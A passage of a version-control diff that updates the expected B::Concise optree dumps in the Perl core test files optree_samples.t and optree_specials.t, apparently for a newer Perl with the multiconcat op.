 	      strip_open_hints => 1,
-	      ( $] < 5.017002
-		?  (expect => <<'EOT_EOT16', expect_nt => <<'EONT_EONT16')
-# 6  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->6
-# 1        <;> nextstate(main 1 -e:1) v:>,<,%,{ ->2
-# 3        </> subst(/"(a)"/ replstart->4) KS ->6
-# -           <1> ex-rv2sv sKRM/1 ->3
-# 2              <#> gvsv[*foo] s ->3
-# 5           <|> substcont(other->3) sK/1 ->(end)
-# -              <1> ex-rv2sv sK/1 ->5
-# 4                 <#> gvsv[*1] s ->5
-EOT_EOT16
-# 6  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->6
-# 1        <;> nextstate(main 1 -e:1) v:>,<,%,{ ->2
-# 3        </> subst(/"(a)"/ replstart->4) KS ->6
-# -           <1> ex-rv2sv sKRM/1 ->3
-# 2              <$> gvsv(*foo) s ->3
-# 5           <|> substcont(other->3) sK/1 ->(end)
-# -              <1> ex-rv2sv sK/1 ->5
-# 4                 <$> gvsv(*1) s ->5
-EONT_EONT16
-
-		:  (expect => <<'EOT_EOT',   expect_nt => <<'EONT_EONT')));
+	      expect => <<'EOT_EOT',   expect_nt => <<'EONT_EONT');
 # 5  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->5
 # 1        <;> nextstate(main 1 -e:1) v:>,<,%,{ ->2
@@ -149,7 +126,6 @@
 	      bcopts    => 'STDOUT',
 	      progfile	=> $tmpfile,
 	      strip_open_hints => 1,
-	      skip	=> ($] < 5.017003),
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
 # main::STDOUT (FORMAT):
 # c  <1> leavewrite[1 ref] K/REFC,1 ->(end)
@@ -195,7 +171,6 @@
 checkOptree ( name      => 'padrange',
 	      code	=> sub { my ($x,$y); @a = ($x,$y); ($x,$y) = @a },
 	      strip_open_hints => 1,
-	      skip	=> ($] < 5.017006),
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
 # f  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->f
@@ -261,7 +236,6 @@
 				 my ($e,$f) = @_;
 			     },
 	      strip_open_hints => 1,
-	      skip	=> ($] < 5.017006),
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
 # d  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->d
@@ -333,7 +307,6 @@
 checkOptree ( name      => 'consolidate padranges',
 	      code	=> sub { my ($a,$b); my ($c,$d); 1 },
 	      strip_open_hints => 1,
-	      skip	=> ($] < 5.017006),
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
 # 5  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->5
@@ -371,7 +344,6 @@
 	      code	=> sub { my ($a,$b); my $c; my ($d,$e);
 				 my @f; my $g; my ($h,$i); my %j; 1 },
 	      strip_open_hints => 1,
-	      skip	=> ($] < 5.017006),
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
 # 5  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->5

Modified: vendor/perl/dist/ext/B/t/optree_samples.t
===================================================================
--- vendor/perl/dist/ext/B/t/optree_samples.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/optree_samples.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -240,19 +240,18 @@
 # 3  <$> const[IV 1] s
 # 4  <$> const[IV 10] s
 # 5  <#> gv[*_] s
-# 6  <{> enteriter(next->d last->g redo->7) KS/DEF
-# e  <0> iter s
-# f  <|> and(other->7) K/1
-# 7      <;> nextstate(main 442 optree.t:158) v:>,<,%
+# 6  <{> enteriter(next->c last->f redo->7) KS/DEF
+# d  <0> iter s
+# e  <|> and(other->7) K/1
+# 7      <;> nextstate(main 1659 optree_samples.t:234) v:>,<,%
 # 8      <0> pushmark s
-# 9      <$> const[PV "foo "] s
-# a      <#> gvsv[*_] s
-# b      <2> concat[t4] sK/2
-# c      <@> print vK
-# d      <0> unstack s
-#            goto e
-# g  <2> leaveloop K/2
-# h  <1> leavesub[1 ref] K/REFC,1
+# 9      <#> gvsv[*_] s
+# a      <+> multiconcat("foo ",4,-1)[t5] sK/STRINGIFY
+# b      <@> print vK
+# c      <0> unstack s
+#            goto d
+# f  <2> leaveloop K/2
+# g  <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
 # 1  <;> nextstate(main 444 optree_samples.t:182) v:>,<,%
 # 2  <0> pushmark s
@@ -259,19 +258,18 @@
 # 3  <$> const(IV 1) s
 # 4  <$> const(IV 10) s
 # 5  <$> gv(*_) s
-# 6  <{> enteriter(next->d last->g redo->7) KS/DEF
-# e  <0> iter s
-# f  <|> and(other->7) K/1
+# 6  <{> enteriter(next->c last->f redo->7) KS/DEF
+# d  <0> iter s
+# e  <|> and(other->7) K/1
 # 7      <;> nextstate(main 443 optree_samples.t:182) v:>,<,%
 # 8      <0> pushmark s
-# 9      <$> const(PV "foo ") s
-# a      <$> gvsv(*_) s
-# b      <2> concat[t3] sK/2
-# c      <@> print vK
-# d      <0> unstack s
-#            goto e
-# g  <2> leaveloop K/2
-# h  <1> leavesub[1 ref] K/REFC,1
+# 9      <$> gvsv(*_) s
+# a      <+> multiconcat("foo ",4,-1)[t4] sK/STRINGIFY
+# b      <@> print vK
+# c      <0> unstack s
+#            goto d
+# f  <2> leaveloop K/2
+# g  <1> leavesub[1 ref] K/REFC,1
 EONT_EONT
 
 checkOptree ( name	=> '-basic sub { print "foo $_" foreach (1..10) }',
@@ -279,11 +277,11 @@
 	      bcopts	=> '-basic',
 	      strip_open_hints => 1,
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
-# g  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->g
+# f  <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq KP ->f
 # 1        <;> nextstate(main 445 optree.t:167) v:>,<,% ->2
-# f        <2> leaveloop K/2 ->g
-# 6           <{> enteriter(next->c last->f redo->7) KS/DEF ->d
+# e        <2> leaveloop K/2 ->f
+# 6           <{> enteriter(next->b last->e redo->7) KS/DEF ->c
 # -              <0> ex-pushmark s ->2
 # -              <1> ex-list lK ->5
 # 2                 <0> pushmark s ->3
@@ -290,25 +288,24 @@
 # 3                 <$> const[IV 1] s ->4
 # 4                 <$> const[IV 10] s ->5
 # 5              <#> gv[*_] s ->6
-# -           <1> null K/1 ->f
-# e              <|> and(other->7) K/1 ->f
-# d                 <0> iter s ->e
+# -           <1> null K/1 ->e
+# d              <|> and(other->7) K/1 ->e
+# c                 <0> iter s ->d
 # -                 <@> lineseq sK ->-
-# b                    <@> print vK ->c
+# a                    <@> print vK ->b
 # 7                       <0> pushmark s ->8
-# -                       <1> ex-stringify sK/1 ->b
-# -                          <0> ex-pushmark s ->8
-# a                          <2> concat[t2] sK/2 ->b
-# 8                             <$> const[PV "foo "] s ->9
-# -                             <1> ex-rv2sv sK/1 ->a
-# 9                                <#> gvsv[*_] s ->a
-# c                    <0> unstack s ->d
+# 9                       <+> multiconcat("foo ",4,-1)[t3] sK/STRINGIFY ->a
+# -                          <0> ex-pushmark s ->-
+# -                          <0> ex-const s ->8
+# -                          <1> ex-rv2sv sK/1 ->9
+# 8                             <#> gvsv[*_] s ->9
+# b                    <0> unstack s ->c
 EOT_EOT
-# g  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->g
+# f  <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq KP ->f
 # 1        <;> nextstate(main 446 optree_samples.t:192) v:>,<,% ->2
-# f        <2> leaveloop K/2 ->g
-# 6           <{> enteriter(next->c last->f redo->7) KS/DEF ->d
+# e        <2> leaveloop K/2 ->f
+# 6           <{> enteriter(next->b last->e redo->7) KS/DEF ->c
 # -              <0> ex-pushmark s ->2
 # -              <1> ex-list lK ->5
 # 2                 <0> pushmark s ->3
@@ -315,19 +312,18 @@
 # 3                 <$> const(IV 1) s ->4
 # 4                 <$> const(IV 10) s ->5
 # 5              <$> gv(*_) s ->6
-# -           <1> null K/1 ->f
-# e              <|> and(other->7) K/1 ->f
-# d                 <0> iter s ->e
+# -           <1> null K/1 ->e
+# d              <|> and(other->7) K/1 ->e
+# c                 <0> iter s ->d
 # -                 <@> lineseq sK ->-
-# b                    <@> print vK ->c
+# a                    <@> print vK ->b
 # 7                       <0> pushmark s ->8
-# -                       <1> ex-stringify sK/1 ->b
-# -                          <0> ex-pushmark s ->8
-# a                          <2> concat[t1] sK/2 ->b
-# 8                             <$> const(PV "foo ") s ->9
-# -                             <1> ex-rv2sv sK/1 ->a
-# 9                                <$> gvsv(*_) s ->a
-# c                    <0> unstack s ->d
+# 9                       <+> multiconcat("foo ",4,-1)[t2] sK/STRINGIFY ->a
+# -                          <0> ex-pushmark s ->-
+# -                          <0> ex-const s ->8
+# -                          <1> ex-rv2sv sK/1 ->9
+# 8                             <$> gvsv(*_) s ->9
+# b                    <0> unstack s ->c
 EONT_EONT
 
 checkOptree ( name	=> '-exec -e foreach (1..10) {print qq{foo $_}}',
@@ -341,19 +337,18 @@
 # 4  <$> const[IV 1] s
 # 5  <$> const[IV 10] s
 # 6  <#> gv[*_] s
-# 7  <{> enteriter(next->e last->h redo->8) vKS/DEF
-# f  <0> iter s
-# g  <|> and(other->8) vK/1
+# 7  <{> enteriter(next->d last->g redo->8) vKS/DEF
+# e  <0> iter s
+# f  <|> and(other->8) vK/1
 # 8      <;> nextstate(main 1 -e:1) v:>,<,%
 # 9      <0> pushmark s
-# a      <$> const[PV "foo "] s
-# b      <#> gvsv[*_] s
-# c      <2> concat[t4] sK/2
-# d      <@> print vK
-# e      <0> unstack v
-#            goto f
-# h  <2> leaveloop vK/2
-# i  <@> leave[1 ref] vKP/REFC
+# a      <#> gvsv[*_] s
+# b      <+> multiconcat("foo ",4,-1)[t5] sK/STRINGIFY
+# c      <@> print vK
+# d      <0> unstack v
+#            goto e
+# g  <2> leaveloop vK/2
+# h  <@> leave[1 ref] vKP/REFC
 EOT_EOT
 # 1  <0> enter 
 # 2  <;> nextstate(main 2 -e:1) v:>,<,%,{
@@ -361,19 +356,18 @@
 # 4  <$> const(IV 1) s
 # 5  <$> const(IV 10) s
 # 6  <$> gv(*_) s
-# 7  <{> enteriter(next->e last->h redo->8) vKS/DEF
-# f  <0> iter s
-# g  <|> and(other->8) vK/1
+# 7  <{> enteriter(next->d last->g redo->8) vKS/DEF
+# e  <0> iter s
+# f  <|> and(other->8) vK/1
 # 8      <;> nextstate(main 1 -e:1) v:>,<,%
 # 9      <0> pushmark s
-# a      <$> const(PV "foo ") s
-# b      <$> gvsv(*_) s
-# c      <2> concat[t3] sK/2
-# d      <@> print vK
-# e      <0> unstack v
-#            goto f
-# h  <2> leaveloop vK/2
-# i  <@> leave[1 ref] vKP/REFC
+# a      <$> gvsv(*_) s
+# b      <+> multiconcat("foo ",4,-1)[t4] sK/STRINGIFY
+# c      <@> print vK
+# d      <0> unstack v
+#            goto e
+# g  <2> leaveloop vK/2
+# h  <@> leave[1 ref] vKP/REFC
 EONT_EONT
 
 checkOptree ( name	=> '-exec sub { print "foo $_" foreach (1..10) }',
@@ -386,18 +380,17 @@
 # 3  <$> const[IV 1] s
 # 4  <$> const[IV 10] s
 # 5  <#> gv[*_] s
-# 6  <{> enteriter(next->c last->f redo->7) KS/DEF
-# d  <0> iter s
-# e  <|> and(other->7) K/1
+# 6  <{> enteriter(next->b last->e redo->7) KS/DEF
+# c  <0> iter s
+# d  <|> and(other->7) K/1
 # 7      <0> pushmark s
-# 8      <$> const[PV "foo "] s
-# 9      <#> gvsv[*_] s
-# a      <2> concat[t2] sK/2
-# b      <@> print vK
-# c      <0> unstack s
-#            goto d
-# f  <2> leaveloop K/2
-# g  <1> leavesub[1 ref] K/REFC,1
+# 8      <#> gvsv[*_] s
+# 9      <+> multiconcat("foo ",4,-1)[t3] sK/STRINGIFY
+# a      <@> print vK
+# b      <0> unstack s
+#            goto c
+# e  <2> leaveloop K/2
+# f  <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
 # 1  <;> nextstate(main 447 optree_samples.t:252) v:>,<,%
 # 2  <0> pushmark s
@@ -404,18 +397,17 @@
 # 3  <$> const(IV 1) s
 # 4  <$> const(IV 10) s
 # 5  <$> gv(*_) s
-# 6  <{> enteriter(next->c last->f redo->7) KS/DEF
-# d  <0> iter s
-# e  <|> and(other->7) K/1
+# 6  <{> enteriter(next->b last->e redo->7) KS/DEF
+# c  <0> iter s
+# d  <|> and(other->7) K/1
 # 7      <0> pushmark s
-# 8      <$> const(PV "foo ") s
-# 9      <$> gvsv(*_) s
-# a      <2> concat[t1] sK/2
-# b      <@> print vK
-# c      <0> unstack s
-#            goto d
-# f  <2> leaveloop K/2
-# g  <1> leavesub[1 ref] K/REFC,1
+# 8      <$> gvsv(*_) s
+# 9      <+> multiconcat("foo ",4,-1)[t2] sK/STRINGIFY
+# a      <@> print vK
+# b      <0> unstack s
+#            goto c
+# e  <2> leaveloop K/2
+# f  <1> leavesub[1 ref] K/REFC,1
 EONT_EONT
 
 pass("GREP: SAMPLES FROM PERLDOC -F GREP");
@@ -469,8 +461,7 @@
 # 3  <0> pushmark s
 # 4  <#> gv[*a] s
 # 5  <1> rv2av[t8] lKM/1
-# 6  <@> mapstart lK*                 < 5.017002
-# 6  <@> mapstart lK                  >=5.017002
+# 6  <@> mapstart lK
 # 7  <|> mapwhile(other->8)[t9] lK
 # 8      <0> enter l
 # 9      <;> nextstate(main 500 (eval 22):1) v:{
@@ -483,8 +474,7 @@
 #            goto 7
 # g  <0> pushmark s
 # h  <#> gv[*h] s
-# i  <1> rv2hv[t2] lKRM*/1         < 5.019006
-# i  <1> rv2hv lKRM*/1             >=5.019006
+# i  <1> rv2hv[t2] lKRM*
 # j  <2> aassign[t10] KS/COM_AGG
 # k  <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
@@ -493,8 +483,7 @@
 # 3  <0> pushmark s
 # 4  <$> gv(*a) s
 # 5  <1> rv2av[t3] lKM/1
-# 6  <@> mapstart lK*                 < 5.017002
-# 6  <@> mapstart lK                  >=5.017002
+# 6  <@> mapstart lK
 # 7  <|> mapwhile(other->8)[t4] lK
 # 8      <0> enter l
 # 9      <;> nextstate(main 500 (eval 22):1) v:{
@@ -507,8 +496,7 @@
 #            goto 7
 # g  <0> pushmark s
 # h  <$> gv(*h) s
-# i  <1> rv2hv[t1] lKRM*/1         < 5.019006
-# i  <1> rv2hv lKRM*/1             >=5.019006
+# i  <1> rv2hv[t1] lKRM*
 # j  <2> aassign[t5] KS/COM_AGG
 # k  <1> leavesub[1 ref] K/REFC,1
 EONT_EONT
@@ -521,8 +509,7 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <#> gv[*h] s
-# 5  <1> rv2hv[t2] lKRM*/1         < 5.019006
-# 5  <1> rv2hv lKRM*/1             >=5.019006
+# 5  <1> rv2hv[t2] lKRM*
 # 6  <2> aassign[t3] vKS
 # 7  <;> nextstate(main 506 (eval 24):1) v:{
 # 8  <0> pushmark sM
@@ -536,7 +523,7 @@
 # e      <;> nextstate(main 505 (eval 24):1) v:{
 # f      <#> gvsv[*_] s
 # g      <#> gv[*h] s
-# h      <1> rv2hv sKR/1
+# h      <1> rv2hv sKR
 # i      <0> pushmark s
 # j      <#> gvsv[*_] s
 # k      <#> gv[*getkey] s/EARLYCV
@@ -552,8 +539,7 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <$> gv(*h) s
-# 5  <1> rv2hv[t1] lKRM*/1         < 5.019006
-# 5  <1> rv2hv lKRM*/1             >=5.019006
+# 5  <1> rv2hv[t1] lKRM*
 # 6  <2> aassign[t2] vKS
 # 7  <;> nextstate(main 506 (eval 24):1) v:{
 # 8  <0> pushmark sM
@@ -567,7 +553,7 @@
 # e      <;> nextstate(main 505 (eval 24):1) v:{
 # f      <$> gvsv(*_) s
 # g      <$> gv(*h) s
-# h      <1> rv2hv sKR/1
+# h      <1> rv2hv sKR
 # i      <0> pushmark s
 # j      <$> gvsv(*_) s
 # k      <$> gv(*getkey) s/EARLYCV
@@ -586,7 +572,7 @@
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
 # 1  <;> nextstate(main 497 (eval 20):1) v
 # 2  <0> pushmark s
-# 3  <$> const[AV ] s
+# 3  <$> const[AV ARRAY] s
 # 4  <1> rv2av lKPM/1
 # 5  <@> mapstart K
 # 6  <|> mapwhile(other->7)[t5] K
@@ -598,7 +584,7 @@
 EOT_EOT
 # 1  <;> nextstate(main 511 (eval 26):1) v
 # 2  <0> pushmark s
-# 3  <$> const(AV ) s
+# 3  <$> const(AV ARRAY) s
 # 4  <1> rv2av lKPM/1
 # 5  <@> mapstart K
 # 6  <|> mapwhile(other->7)[t4] K
@@ -619,8 +605,7 @@
 # 1  <0> enter 
 # 2  <;> nextstate(main 71 -e:1) v:>,<,%,{
 # 3  <0> pushmark s
-# 4  <$> const[PV "junk"] s*      < 5.017002
-# 4  <$> const[PV "junk"] s*/FOLD >=5.017002
+# 4  <$> const[PV "junk"] s*/FOLD
 # 5  <@> print vK
 # 6  <@> leave[1 ref] vKP/REFC
 EOT_EOT
@@ -627,8 +612,7 @@
 # 1  <0> enter 
 # 2  <;> nextstate(main 71 -e:1) v:>,<,%,{
 # 3  <0> pushmark s
-# 4  <$> const(PV "junk") s*      < 5.017002
-# 4  <$> const(PV "junk") s*/FOLD >=5.017002
+# 4  <$> const(PV "junk") s*/FOLD
 # 5  <@> print vK
 # 6  <@> leave[1 ref] vKP/REFC
 EONT_EONT

Modified: vendor/perl/dist/ext/B/t/optree_specials.t
===================================================================
--- vendor/perl/dist/ext/B/t/optree_specials.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/optree_specials.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,6 +6,12 @@
 # output is matched losely. If the match fails even though the "got" and
 # "expected" output look exactly the same, then watch for trailing, invisible
 # spaces.
+#
+# Note that if this test is mysteriously failing smokes and is hard to
+# reproduce, try running with LC_ALL=en_US.UTF-8 PERL_UNICODE="".
+# This causes nextstate ops to have a bunch of extra hint info, which
+# needs adding to the expected output (for both thraded and non-threaded
+# versions)
 
 BEGIN {
     unshift @INC, 't';
@@ -39,108 +45,183 @@
 	      prog	=> $src,
 	      strip_open_hints => 1,
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
-# BEGIN 1:
-# a  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->a
-# 1        <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$ ->2
-# 3        <1> require sK/1 ->4
-# 2           <$> const[PV "strict.pm"] s/BARE ->3
-# -        <;> ex-nextstate(B::Concise -837 Concise.pm:366) v:*,&,{,x*,x&,x$,$ ->4
-# -        <@> lineseq K ->-
-# 4           <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$ ->5
-# 9           <1> entersub[t1] KRS*/TARG,STRICT ->a
-# 5              <0> pushmark s ->6
-# 6              <$> const[PV "strict"] sM ->7
-# 7              <$> const[PV "refs"] sM ->8
-# 8              <.> method_named[PV "unimport"] ->9
+# -     <@> lineseq KP ->7
+# 1        <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$ ->2
+# 6        <2> sassign sKS/2 ->7
+# 4           <1> srefgen sK/1 ->5
+# -              <1> ex-list lKRM ->4
+# 3                 <1> rv2gv sKRM/STRICT,1 ->4
+# 2                    <#> gv[*STDOUT] s ->3
+# -           <1> ex-rv2sv sKRM*/STRICT,1 ->6
+# 5              <#> gvsv[*B::Concise::walkHandle] s ->6
 # BEGIN 2:
-# k  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq K ->k
-# b        <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$ ->c
-# d        <1> require sK/1 ->e
-# c           <$> const[PV "strict.pm"] s/BARE ->d
-# -        <;> ex-nextstate(B::Concise -812 Concise.pm:386) v:*,&,x*,x&,x$,$ ->e
+# h  <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq K ->h
+# 8        <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ ->9
+# a        <1> require sK/1 ->b
+# 9           <$> const[PV "strict.pm"] s/BARE ->a
+# -        <;> ex-nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ ->b
 # -        <@> lineseq K ->-
-# e           <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$ ->f
-# j           <1> entersub[t1] KRS*/TARG,STRICT ->k
-# f              <0> pushmark s ->g
-# g              <$> const[PV "strict"] sM ->h
-# h              <$> const[PV "refs"] sM ->i
-# i              <.> method_named[PV "unimport"] ->j
+# b           <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$ ->c
+# g           <1> entersub[t1] KRS*/TARG,STRICT ->h
+# c              <0> pushmark s ->d
+# d              <$> const[PV "strict"] sM ->e
+# e              <$> const[PV "refs"] sM ->f
+# f              <.> method_named[PV "unimport"] ->g
 # BEGIN 3:
-# u  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->u
-# l        <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$ ->m
-# n        <1> require sK/1 ->o
-# m           <$> const[PV "warnings.pm"] s/BARE ->n
-# -        <;> ex-nextstate(B::Concise -798 Concise.pm:406) v:*,&,{,x*,x&,x$,$ ->o
+# r  <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq K ->r
+# i        <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ ->j
+# k        <1> require sK/1 ->l
+# j           <$> const[PV "strict.pm"] s/BARE ->k
+# -        <;> ex-nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ ->l
 # -        <@> lineseq K ->-
-# o           <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$ ->p
-# t           <1> entersub[t1] KRS*/TARG,STRICT ->u
-# p              <0> pushmark s ->q
-# q              <$> const[PV "warnings"] sM ->r
-# r              <$> const[PV "qw"] sM ->s
-# s              <.> method_named[PV "unimport"] ->t
+# l           <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$ ->m
+# q           <1> entersub[t1] KRS*/TARG,STRICT ->r
+# m              <0> pushmark s ->n
+# n              <$> const[PV "strict"] sM ->o
+# o              <$> const[PV "refs"] sM ->p
+# p              <.> method_named[PV "unimport"] ->q
 # BEGIN 4:
-# y  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->y
-# v        <;> nextstate(main 2 -e:1) v:>,<,%,{ ->w
-# x        <1> postinc[t3] sK/1 ->y
-# -           <1> ex-rv2sv sKRM/1 ->x
-# w              <#> gvsv[*beg] s ->x
+# 11 <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq KP ->11
+# s        <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ ->t
+# u        <1> require sK/1 ->v
+# t           <$> const[PV "strict.pm"] s/BARE ->u
+# -        <;> ex-nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ ->v
+# -        <@> lineseq K ->-
+# v           <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$ ->w
+# 10          <1> entersub[t1] KRS*/TARG,STRICT ->11
+# w              <0> pushmark s ->x
+# x              <$> const[PV "strict"] sM ->y
+# y              <$> const[PV "refs"] sM ->z
+# z              <.> method_named[PV "unimport"] ->10
+# BEGIN 5:
+# 1b <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq K ->1b
+# 12       <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ ->13
+# 14       <1> require sK/1 ->15
+# 13          <$> const[PV "strict.pm"] s/BARE ->14
+# -        <;> ex-nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ ->15
+# -        <@> lineseq K ->-
+# 15          <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$ ->16
+# 1a          <1> entersub[t1] KRS*/TARG,STRICT ->1b
+# 16             <0> pushmark s ->17
+# 17             <$> const[PV "strict"] sM ->18
+# 18             <$> const[PV "refs"] sM ->19
+# 19             <.> method_named[PV "unimport"] ->1a
+# BEGIN 6:
+# 1l <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq KP ->1l
+# 1c       <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ ->1d
+# 1e       <1> require sK/1 ->1f
+# 1d          <$> const[PV "warnings.pm"] s/BARE ->1e
+# -        <;> ex-nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ ->1f
+# -        <@> lineseq K ->-
+# 1f          <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$ ->1g
+# 1k          <1> entersub[t1] KRS*/TARG,STRICT ->1l
+# 1g             <0> pushmark s ->1h
+# 1h             <$> const[PV "warnings"] sM ->1i
+# 1i             <$> const[PV "qw"] sM ->1j
+# 1j             <.> method_named[PV "unimport"] ->1k
+# BEGIN 7:
+# 1p <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq KP ->1p
+# 1m       <;> nextstate(main 3 -e:1) v:>,<,%,{ ->1n
+# 1o       <1> postinc[t3] sK/1 ->1p
+# -           <1> ex-rv2sv sKRM/1 ->1o
+# 1n             <#> gvsv[*beg] s ->1o
 EOT_EOT
 # BEGIN 1:
-# a  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->a
-# 1        <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$ ->2
-# 3        <1> require sK/1 ->4
-# 2           <$> const(PV "strict.pm") s/BARE ->3
-# -        <;> ex-nextstate(B::Concise -837 Concise.pm:366) v:*,&,{,x*,x&,x$,$ ->4
-# -        <@> lineseq K ->-
-# 4           <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$ ->5
-# 9           <1> entersub[t1] KRS*/TARG,STRICT ->a
-# 5              <0> pushmark s ->6
-# 6              <$> const(PV "strict") sM ->7
-# 7              <$> const(PV "refs") sM ->8
-# 8              <.> method_named(PV "unimport") ->9
+# 7  <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq KP ->7
+# 1        <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$ ->2
+# 6        <2> sassign sKS/2 ->7
+# 4           <1> srefgen sK/1 ->5
+# -              <1> ex-list lKRM ->4
+# 3                 <1> rv2gv sKRM/STRICT,1 ->4
+# 2                    <$> gv(*STDOUT) s ->3
+# -           <1> ex-rv2sv sKRM*/STRICT,1 ->6
+# 5              <$> gvsv(*B::Concise::walkHandle) s ->6
 # BEGIN 2:
-# k  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq K ->k
-# b        <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$ ->c
-# d        <1> require sK/1 ->e
-# c           <$> const(PV "strict.pm") s/BARE ->d
-# -        <;> ex-nextstate(B::Concise -812 Concise.pm:386) v:*,&,x*,x&,x$,$ ->e
+# h  <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq K ->h
+# 8        <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ ->9
+# a        <1> require sK/1 ->b
+# 9           <$> const(PV "strict.pm") s/BARE ->a
+# -        <;> ex-nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ ->b
 # -        <@> lineseq K ->-
-# e           <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$ ->f
-# j           <1> entersub[t1] KRS*/TARG,STRICT ->k
-# f              <0> pushmark s ->g
-# g              <$> const(PV "strict") sM ->h
-# h              <$> const(PV "refs") sM ->i
-# i              <.> method_named(PV "unimport") ->j
+# b           <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$ ->c
+# g           <1> entersub[t1] KRS*/TARG,STRICT ->h
+# c              <0> pushmark s ->d
+# d              <$> const(PV "strict") sM ->e
+# e              <$> const(PV "refs") sM ->f
+# f              <.> method_named(PV "unimport") ->g
 # BEGIN 3:
-# u  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->u
-# l        <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$ ->m
-# n        <1> require sK/1 ->o
-# m           <$> const(PV "warnings.pm") s/BARE ->n
-# -        <;> ex-nextstate(B::Concise -798 Concise.pm:406) v:*,&,{,x*,x&,x$,$ ->o
+# r  <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq K ->r
+# i        <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ ->j
+# k        <1> require sK/1 ->l
+# j           <$> const(PV "strict.pm") s/BARE ->k
+# -        <;> ex-nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ ->l
 # -        <@> lineseq K ->-
